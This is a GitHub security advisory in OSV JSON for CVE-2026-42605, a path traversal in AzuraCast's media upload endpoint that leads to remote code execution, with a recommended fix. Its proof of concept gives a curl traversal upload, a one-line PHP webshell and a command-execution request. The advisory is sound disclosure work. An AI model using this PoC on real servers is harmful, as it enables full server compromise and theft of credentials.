CVE-2026-42605: Azuracast/azuracast Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vp2f-cqqp-478j",
  "modified" : "2026-05-13T13:42:15Z",
  "published" : "2026-05-04T21:16:51Z",
  "aliases" : [ "CVE-2026-42605" ],
  "summary" : "AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload",
  "details" : "## Summary\n\nThe `currentDirectory` request parameter in the Flow.js media upload endpoint (`POST /api/station/{station_id}/files/upload`) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.\n\n## Details\n\nIn `backend/src/Controller/Api/Stations/Files/FlowUploadAction.php`, the `currentDirectory` parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:\n\n```php\n// FlowUploadAction.php:79-84\n$currentDir = Types::string($request->getParam('currentDirectory'));\n\n$destPath = $flowResponse->getClientFullPath();\nif (!empty($currentDir)) {\n    $destPath = $currentDir . '/' . $destPath;\n}\n```\n\nWhile `$flowResponse->getClientFullPath()` is sanitized via `UploadedFile::filterClientPath()` (which strips `..` segments), the `$currentDir` value is prepended **after** this sanitization, reintroducing traversal capability.\n\nThis `$destPath` is passed to `MediaProcessor::processAndUpload()` at line 95-98. The critical issue is in the `finally` block at `backend/src/Media/MediaProcessor.php:114-117`:\n\n```php\n// MediaProcessor.php:75-117\ntry {\n    if (MimeType::isFileProcessable($localPath)) {\n        // ... process media ...\n        return $record;\n    }\n    // ...\n    throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');\n} catch (CannotProcessMediaException $e) {\n    $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());\n    throw $e;\n} finally {\n    $fs->uploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes\n}\n```\n\nThe `finally` block writes the file to the traversed path **regardless** of whether the file passes MIME type validation. A `.php` file triggers `CannotProcessMediaException`, but the `finally` block still copies it to the destination before the exception propagates.\n\nFor local storage (the default), `LocalFilesystem::upload()` at `backend/src/Flysystem/LocalFilesystem.php:45-57` resolves the path via `getLocalPath()`:\n\n```php\n// LocalFilesystem.php:45-57\npublic function upload(string $localPath, string $to): void\n{\n    $destPath = $this->getLocalPath($to);  // PathPrefixer::prefixPath() — simple concatenation\n    $this->ensureDirectoryExists(dirname($destPath), ...);\n    copy($localPath, $destPath);  // OS resolves ../\n}\n```\n\n`getLocalPath()` delegates to `PathPrefixer::prefixPath()` (League Flysystem), which performs simple string concatenation without normalization. This **bypasses** the `WhitespacePathNormalizer` that would catch traversal if the path went through the standard `Filesystem::write()`/`writeStream()` methods. The OS-level `copy()` then resolves `../` sequences, writing outside the media root.\n\nNote: `RemoteFilesystem::upload()` uses `$this->writeStream()` which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.\n\nThe route at `backend/config/routes/api_station.php:399-405` requires `StationPermissions::Media` — a permission granted to DJs and station managers, not only admins.\n\n## PoC\n\nAssuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:\n\n**Step 1: Upload a PHP webshell via path traversal**\n\n```bash\ncurl -X POST \"http://localhost/api/station/1/files/upload\" \\\n  -H \"Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>\" \\\n  -F \"flowTotalChunks=1\" \\\n  -F \"flowChunkNumber=1\" \\\n  -F \"flowCurrentChunkSize=44\" \\\n  -F \"flowTotalSize=44\" \\\n  -F \"flowIdentifier=abc123\" \\\n  -F \"flowFilename=shell.php\" \\\n  -F \"currentDirectory=../../../../../var/azuracast/www/public\" \\\n  -F \"file_data=@shell.php\"\n```\n\nWhere `shell.php` contains:\n```php\n<?php system($_GET['cmd']); ?>\n```\n\nExpected response: An error JSON (because `.php` is not a processable media type), but the file has already been written by the `finally` block.\n\n**Step 2: Execute commands via the webshell**\n\n```bash\ncurl \"http://localhost/shell.php?cmd=id\"\n```\n\nExpected output:\n```\nuid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)\n```\n\n## Impact\n\n- **Remote Code Execution**: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.\n- **Full Server Compromise**: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.\n- **Privilege Escalation**: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.\n- **Data Exfiltration**: All station data, user credentials, and application secrets become accessible.\n\n## Recommended Fix\n\nSanitize `currentDirectory` in `FlowUploadAction.php` using the same `filterClientPath()` method used for filenames:\n\n```php\n// FlowUploadAction.php — replace line 79:\n$currentDir = Types::string($request->getParam('currentDirectory'));\n\n// With:\n$currentDir = UploadedFile::filterClientPath(\n    Types::string($request->getParam('currentDirectory'))\n);\n```\n\nAdditionally, harden `LocalFilesystem::upload()` to normalize paths before use:\n\n```php\n// LocalFilesystem.php — add path normalization in upload():\npublic function upload(string $localPath, string $to): void\n{\n    $normalizer = new WhitespacePathNormalizer();\n    $to = $normalizer->normalizePath($to);  // Throws PathTraversalDetected on ../\n\n    $destPath = $this->getLocalPath($to);\n    $this->ensureDirectoryExists(\n        dirname($destPath),\n        $this->visibilityConverter->defaultForDirectories()\n    );\n\n    if (!@copy($localPath, $destPath)) {\n        throw UnableToCopyFile::fromLocationTo($localPath, $destPath);\n    }\n}\n```\n\nAlso sanitize `flowIdentifier` in `Flow.php:67` to prevent secondary traversal in chunk directory creation.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "azuracast/azuracast"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.23.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.23.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42605"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/AzuraCast/AzuraCast"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-04T21:16:51Z",
    "nvd_published_at" : "2026-05-09T20:16:30Z"
  }
}